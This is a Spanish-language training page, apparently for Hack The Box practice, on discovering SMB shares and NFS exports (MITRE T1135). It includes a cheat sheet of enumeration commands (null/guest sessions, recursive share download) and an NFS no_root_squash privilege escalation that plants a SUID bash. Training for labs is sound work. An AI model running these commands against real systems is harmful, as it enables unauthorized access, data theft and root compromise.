T1135

Descubrimiento de recursos compartidos

Listar recursos compartidos SMB y exportaciones NFS y revisar qué contienen.

Cómo aparece en Hack The Box

Prueba siempre sesión nula e invitado. Descarga el recurso entero y busca contraseñas, scripts y backups; en NFS mira si hay no_root_squash.

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Guías

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Escalada de privilegios en Linux › Explotación

Ver la configuración Víctima
cat /etc/exports
Crear un bash SUID desde tu máquina Atacante
sudo mount -t nfs VICTIMA:/compartido /mnt/nfs
sudo cp /bin/bash /mnt/nfs/ && sudo chmod u+s /mnt/nfs/bash

Luego, en la víctima: /compartido/bash -p. Copia un bash compatible con la versión de la víctima.

Nmap y enumeración de servicios › Servicios

Recursos compartidos sin credenciales
smbclient -L //10.10.11.20 -N
Con netexec (sesión nula e invitado)
netexec smb 10.10.11.20 -u '' -p '' --shares
netexec smb 10.10.11.20 -u 'guest' -p '' --shares
Con credenciales
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!' --shares
Descargar todo un recurso
smbclient //10.10.11.20/share -N -c 'recurse ON; prompt OFF; mget *'
Ver exportaciones
showmount -e 10.10.11.20
Montar
sudo mount -t nfs 10.10.11.20:/ruta /mnt/nfs -o nolock

Herramientas